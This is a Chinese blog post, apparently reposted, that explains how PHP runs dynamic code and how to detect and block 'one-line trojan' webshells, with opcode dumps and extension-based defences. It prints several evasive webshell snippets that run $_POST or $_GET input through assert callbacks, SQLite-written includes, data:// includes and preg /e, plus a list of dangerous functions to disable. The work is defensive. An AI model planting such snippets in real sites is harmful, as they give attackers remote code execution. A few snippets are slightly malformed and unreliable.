傅令江的光影色彩世界
留住记忆的点滴
  • 首页
  • 文学
    • 诗词鉴赏
    • 美文共读
    • 原创
  • 编程
    • php
    • asp
    • .net
    • VB
    • C/C++
    • 易语言
    • js
    • 其他
    • 逆向
  • 运维
    • windows
    • linux
  • 光影色彩
    • 电影
    • 音乐
  • 科技
    • 互联网
    • 手机
  • 生活
    • 情感
  • 微语
9月282022

从PHP源码与扩展开发谈PHP任意代码执行与防御

作者:傅令江   发布:2022-9-28 21:18   分类:php   阅读:2157次   评论:0条  

PHP的灵活性极强,其可以通过各种意想不到的办法来动态执行代码。正因如此,PHP界的“一句话木马”(“后门”,backdoor),写法极其神奇,充满了脑洞,大部分变种完全无法通过静态扫描查到(当然如果用沙盒执行+启发式拦截的方式大概可以,这就变成传统杀毒软件了)。因此,我们不如从这些一句话木马,看看PHP是如何执行动态代码的吧。


原文地址:https://blog.zsxsoft.com/post/30


先说明,如果只是要在自己服务器上防御的话,可以只看下面几行后关闭这篇文章:

  1. 升级到PHP 7.1,该版本对大部分常见的执行动态代码的方法进行了封堵。

  2. php.ini中,关闭“allow_url_fopen”。在打开它的情况下,可以通过 phar:// 等协议丢给include,让其执行动态代码。

  3. php.ini中,通过disable_functions关闭 exec,passthru,shell_exec,system 等函数,禁止PHP调用外部程序。

  4. 永远不要在代码中使用eval。

  5. 设置好上传文件夹的权限,禁止从该文件夹执行代码。

  6. include 文件的时候,注意文件的来源;需要动态include时做好参数过滤。


当然,本文未经特别标注,全部以PHP 7.1为基础。



先从最简单的一句话木马开始吧:

<?php eval('1');
PHP
Copy

这种代码因为用了eval,所以是最好封堵或查杀的。eval不可通过disable_functions关闭,也不可以通过字符串来调用。它是一个语言特性,而不是一个函数。用关键字扫描即可解决。

PHP不是解释执行的(即读一行执行一行)。在代码执行前,先要由Zend引擎将其编译为一种中间语言,称之为“OPCode”。我们通过vld扩展(https://github.com/derickr/vld),可以在代码执行前看到这一段PHP到底被解析成了什么。

line     #* E I O op                           fetch          ext  return  operands -------------------------------------------------------------------------------------    1     0  E >   INCLUDE_OR_EVAL                                          '1', EVAL    2     1      > RETURN                                                   1
Markdown
Copy

可以看到的是,这个opcode是“INCLUDE_OR_EVAL”。看看什么东西会被组合成这个opcode:https://github.com/php-src/php/blob/0eb3c377d49a331282b943dba165b4b9df56fad2/Zend/zend_ast.c#L1256

case ZEND_AST_INCLUDE_OR_EVAL:       switch (ast->attr) {           case ZEND_INCLUDE_ONCE: FUNC_OP("include_once");           case ZEND_INCLUDE:      FUNC_OP("include");           case ZEND_REQUIRE_ONCE: FUNC_OP("require_once");           case ZEND_REQUIRE:      FUNC_OP("require");           case ZEND_EVAL:         FUNC_OP("eval");           EMPTY_SWITCH_DEFAULT_CASE();       }       break;
C
Copy

于是,自然而然地得知了,include / require和eval的效果都一样。于是引申出了以下做法:

<?php file_put_contents('1.php', '<?php echo "a";'); include_once '1.php';
PHP
Copy

显而易见,这种就显得极难查杀了;如果我们监控了文本文件写,那我们还有许多方式来绕过检测。比如说通过SQLite:

<?php $db = new SQLite3('db.db'); $db->exec('CREATE TABLE a(b STRING)'); $db->exec('INSERT INTO a(b) VALUES ("<?php ' . $_GET['a'] . '")'); $db->close(); include 'db.db';
PHP
Copy

这里的防御就显得极为复杂了,因为考虑到现在世界上绝大多数的CMS / 框架的模板都是生成PHP后include的,很难确定保存的文件哪些是用户输入的代码,哪些又不是。

也许,我们可以通过检测用户输入来下手?联想到生物“同位素示踪法”,试试看给用户的输入都打个Tag。不过这不能通过外部Hook执行了,到这里,必须从PHP的扩展下手。

在PHP_RINIT_FUNCTION挂一下,每次访问一个PHP页面的时候,都会执行这个函数。然后从PG(http_globals)[TRACK_VARS_POST]这个数组拿输入数据,就可以拿到用户输入的zval了。

zval是PHP中的数据类型的基本结构,通过Z_STR_P这个宏可以将其转为zend_string。不过zend_string目前和我们没啥关系,不关注它。通过看zval的结构,我们发现可以把flag写在zval里面,正如taint这个扩展所做的一样,直接往zval.u.v.flags里丢东西就好啦。

taint的代码:

/* {{{ PHP_RINIT_FUNCTION
*/ PHP_RINIT_FUNCTION(taint) {   if (SG(sapi_started) || !TAINT_G(enable)) {     return SUCCESS;   }   if (Z_TYPE(PG(http_globals)[TRACK_VARS_POST]) == IS_ARRAY) {     php_taint_mark_strings(Z_ARRVAL(PG(http_globals)[TRACK_VARS_POST]));   }   if (Z_TYPE(PG(http_globals)[TRACK_VARS_GET]) == IS_ARRAY) {     php_taint_mark_strings(Z_ARRVAL(PG(http_globals)[TRACK_VARS_GET]));   }   if (Z_TYPE(PG(http_globals)[TRACK_VARS_COOKIE]) == IS_ARRAY) {     php_taint_mark_strings(Z_ARRVAL(PG(http_globals)[TRACK_VARS_COOKIE]));   }   /* 这里我认为SERVER下的HTTP头也要做个拦截 */   return SUCCESS; }  /** php_taint_mark_strings的主要内容是 **/ #define TAINT_MARK(str)   (GC_FLAGS((str)) |= IS_STR_TAINT_POSSIBLE) TAINT_MARK(Z_STR_P(val));
C
Copy

不过问题来了——

每个PHP_FUNCTION返回的zval都是全新生成的,新的zval是不继承之前的flag的。这就代表我们必须重写所有的函数……所以无法通过检测用户输入来下手……

那,这里最好的方案也就只有白名单了。这个也不太适合通过外部ptrace等监控PHP的fopen系统调用来实现,还是需要通过扩展。不过目前没有扩展能实现这个白名单机制,我之后会在我的扩展内实现。


但如果关闭了PHP的文件读写,还可以继续执行吗?我们可以追一下代码,很容易就追到了php_resolve_path:https://github.com/php-src/php/blob/0eb3c377d49a331282b943dba165b4b9df56fad2/main/fopen_wrappers.c#L475。于是我们发现我们可以include各种协议,比如说:

<?php include("data://text/plain;base64,".base64_encode($content));
PHP
Copy

甚至,如果打开phar扩展的话,因为zend_resolve_path函数指针被指去了phar_resolve_path,我们还可以通过构造一个phar来动态执行代码。

这就显得很尴尬了,应该怎么防御呢?在php.ini中,关闭“allow_url_fopen”即可解决。


另外,还有一个通过MySQL来写文件,然后由PHP来include的神奇方案。仅作记录。

使用

SELECT * INTO OUTFILE
SQL
Copy

这个SQL语句可以把MySQL查询写到文件里面。在PHP 5.2下,不受open_basedir的限制,可以随便写到任何一个有权限的地方。

暂未确定这个文件是由MySQL写入的还是PHP写入的(因为懒得查),我个人怀疑还是通过PHP进程写入的,因为open_basedir这个php.ini的配置可以神奇地影响到SQL查询。PHP 5.3以及以后版本,其默认mysql驱动为mysqlnd;PHP 5.2为libmysql。使用libmysql的版本不受open_basedir的限制,所以我猜测从外部监控PHP的系统调用就可以查得到。


那我们还可以不通过eval来执行代码嘛,比如说,create_function。

<?php $a = 'phpinfo();'; call_user_func(create_function(null, $a));
PHP
Copy

切到Opcode里:


line     #* E I O op                           fetch          ext  return  operands -------------------------------------------------------------------------------------    1     0  E >   ECHO                                                     'a'    2     1        ASSIGN                                                   !0, 'phpinfo();'    3     2        INIT_FCALL                                               'create_function'  3        SEND_VAL                                                 null  4        SEND_VAR                                                 !0  5        DO_ICALL                                         $2  6        INIT_USER_CALL                                0          'call_user_func', $2  7        DO_FCALL                                      0    4     8      > RETURN                                                   1
Markdown
Copy


嗯,解决方式是干掉create_function这个函数。这个函数因为特征比较明显(谁没事会从字符串创建函数?)了,所以用的人少一些;assert这一些函数隐蔽的多(断言很常见)。

如:

<?php assert('a');
PHP
Copy

会生成

line     #* E I O op                           fetch          ext  return  operands -------------------------------------------------------------------------------------    2     0  E >   ASSERT_CHECK          1        INIT_FCALL                                               'assert'          2        SEND_VAL                                                 'a'          3        DO_ICALL          4      > RETURN                                                   1
PHP
Copy

它的opcode调用是INIT_FCALL,说明这是一个函数。这也就是说,我们可以通过各种方式对其进行隐藏:

<?php $p = 'a' . ssert';
$p('phpinfo()');
PHP
Copy

转到Opcode,就变成

line     #* E I O op                           fetch          ext  return  operands -------------------------------------------------------------------------------------    2     0  E >   ASSIGN                                                   !0, 'assert'    3     1        INIT_DYNAMIC_CALL                                        !0          2        SEND_VAL_EX                                              'phpinfo%28%29'          3        DO_FCALL                                      0          4      > RETURN                                                   1
PHP
Copy

还有以下各种变种:

<?php array_map(assign, $_POST); register_shutdown_function('assert', $_POST['code']); filter_var($_REQUEST['code'], FILTER_CALLBACK, ['options' => 'assert']); filter_var_array(['test' => $_REQUEST['code']], ['test' => ['filter' => FILTER_CALLBACK, 'options' => 'assert']]);
PHP
Copy

甚至还可以:

<?php $db = new SQLite3('db.db'); $db->createFunction('f', 'assert'); $stmt = $db->prepare("SELECT f(?)"); $stmt->bindValue(1, $_POST['code'], SQLITE3_TEXT); $stmt->execute();
PHP
Copy

这种方式应该怎么防御呢?就有好几种办法了。

办法一,升级到PHP 7.1即可解决。PHP 7.1“Forbid dynamic calls to scope introspection functions”(http://php.net/manual/en/migration71.incompatible.php),禁止了所有这种函数的调用。

办法二:

不用PHP 7.1的话还是得写扩展,在老版本PHP上实现新版本的功能。

首先,Hook住以下四个Opcode:ZEND_DO_FCALL ZEND_DO_ICALL ZEND_DO_UCALL ZEND_DO_FCALL_BY_NAME,检测一下调用了什么函数(zend_string_equals_literal(fbc->common.function_name, "print_r"))。所有的动态调用最后都会跑到INIT_DYNAMIC_CALL来,在zend_init_dynamic_call_xxxx里会给它打一个ZEND_CALL_DYNAMIC的flag。所以,当涉及到特殊函数时,就检测一下现在的current_execute_data是不是动态调用的即可。

按照PHP 7.1的逻辑,需要检测:

  • assert() - with a string as the first argument

  • compact()

  • extract()

  • func_get_args()

  • func_get_arg()

  • func_num_args()

  • get_defined_vars()

  • mb_parse_str() - with one arg

  • parse_str() - with one arg



不过这还不够,实际上还有更猥琐的。

PHP 5.4和以下版本的PCRE,支持“//e”这种修饰符来修饰正则,即“PREG_REPLACE_EVAL”

<?php preg_match('/.*/e', $_POST['code'], 'fuck');
PHP
Copy

怎么防御?

办法一,升级到PHP 7。

办法二,Hook住preg_replace、preg_filter函数。只有这两个函数调用了preg_replace_impl,才会用到PREG_REPLACE_EVAL。当然,对于老版本PHP,还需要Hook住ereg_、mb_preg系列函数。


文末最后说一下,因为某些需求(不会部署在自己的服务器上),我需要一套一句话木马检测方案,所以写出了本文以及半成品扩展:https://github.com/zsxsoft/fval 。


参考:

  1. 深入理解PHP原理之Opcodes  http://www.laruence.com/2008/06/18/221.html

  2. 深入理解PHP7之zval https://github.com/laruence/php7-internal/blob/master/zval.md

  3. 浅谈变形PHP WEBSHELL检测  https://security.tencent.com/index.php/blog/msg/19

  4. MySQL Native Driver http://php.net/manual/en/intro.mysqlnd.php 





本文固定链接: https://www.fulingjiang.cn/php/266.html

blogger
该日志由 傅令江 于2022-9-28 21:18 Wednesday发表在 php 分类下。
版权所有:《傅令江的光影色彩世界》 → 《从PHP源码与扩展开发谈PHP任意代码执行与防御》;
除特别标注,本博客所有文章均为原创. 互联分享,尊重版权,转载请以链接形式标明本文地址;
本文标签:
上一篇::Error:‘for’ loop initial declarations are only allowed in C99 mode 的解决方案
下一篇:Centos 7、Centos 8 双网卡内外网同时访问路由设置

热门文章

  • 兄弟二周年祭

相关文章

  • 使用vld查看OPCode
  • Layui数据表格渲染图片显示出来3种方法
  • openai给的ionCube 解密代码,应该是老版本可以这样
  • php多个图片合成一张图片
  • PHP安装与使用VLD查看opcode代码【PHP安装第三方扩展的方法】
取消回复

发表评论

亲,头像对么?

提交中,请稍候……


木有头像就木JJ啦!还木有头像吗?点这里申请属于你的个性Gravatar头像吧!


  • 日历

  • 存档

    • 2024年10月(1)
    • 2023年2月(1)
    • 2022年11月(1)
    • 2022年10月(10)
    • 2022年9月(13)
    • 2022年8月(2)
    • 2022年7月(14)
    • 2022年6月(2)
    • 2022年5月(8)
    • 2022年4月(7)
    • 2022年3月(13)
    • 2022年2月(2)
    • 2022年1月(9)
    • 2021年12月(2)
    • 2021年11月(4)
    • 2021年10月(2)
    • 2021年9月(6)
    • 2021年7月(4)
    • 2021年6月(3)
    • 2021年5月(3)
    • 2021年4月(11)
    • 2021年3月(13)
    • 2021年2月(2)
    • 2021年1月(1)
    • 2020年12月(1)
    • 2020年4月(5)
    • 2019年9月(1)
    • 2019年8月(1)
    • 2019年5月(3)
    • 2018年3月(1)
    • 2017年10月(1)
    • 2016年7月(1)
    • 2016年4月(1)
    • 2015年12月(1)
    • 2015年11月(3)
    • 2015年9月(1)
    • 2015年8月(10)
    • 2015年7月(1)
    • 2015年6月(1)
    • 2015年4月(1)
    • 2015年3月(3)
    • 2015年2月(8)
    • 2015年1月(4)
    • 2014年12月(1)
    • 2014年11月(27)
    • 2014年10月(13)
    • 2014年9月(14)
    • 2014年8月(26)
    • 2014年7月(21)
  • 最新评论

    • 令狐江:
      喜欢这首歌是因为可以引起共鸣!
  • 链接

    • 演讲稿网
    • Recollect
    • 演讲稿
    • 祁阳人生活网
    • 我爱演讲稿网
  • 搜索

  • 标签

      函数 自定义方法 SEO 分页 分页函数 分页方法 nginx重新的一些规则
  • 分类

    • 文学(0)
    • 编程(0)
    • 运维(0)
    • 光影色彩(0)
    • 科技(0)
    • 生活(0)
    • 诗词鉴赏(3)
    • 美文共读(1)
    • 原创(10)
    • php(111)
    • asp(1)
    • .net(0)
    • VB(0)
    • C/C++(0)
    • 易语言(0)
    • js(8)
    • 其他(9)
    • 逆向(2)
    • windows(11)
    • linux(121)
    • 电影(0)
    • 音乐(1)
    • 互联网(4)
    • 手机(0)
    • 情感(2)
  • 最新文章热门文章随机文章

    • 兄弟二周年祭
    • openai给的ionCube 解密代码,应该是老版本可以这样
    • WordPress – 5秒盾防CC(PHP通用代码)
    • 我高中最好的朋友今天猝死了-伤心得不行
    • Linux系统中 systemd-journaldCPU占用异常的解决方法
    • SVN Skipped 'xxx' -- Node remains in conflict 错误的解决办法
    • 解决Linux读写nfs共享盘速度慢的问题
    • php 获取302跳转后的地址
    • 让vsftp显示隐藏文件的办法,比如显示 .htaccess
    • 添加自签名https证书到centos系统信任的问题
    • PHP base64+gzinflate压缩加密和解密算法
    • 织梦带二级栏目的导航菜单高亮显示
    • nginx中的if和else语法,变通下
    • windows下查看.dll文件和Linux查看.so文件中函数的实际名称
    • 宝塔面板配置Let's Encrypt证书自动续签失效及解决方案
Copyright © 2001-2025 傅令江的光影色彩世界. Powered by www.fulingjiang.cn ICP备案:京ICP备14015190号-5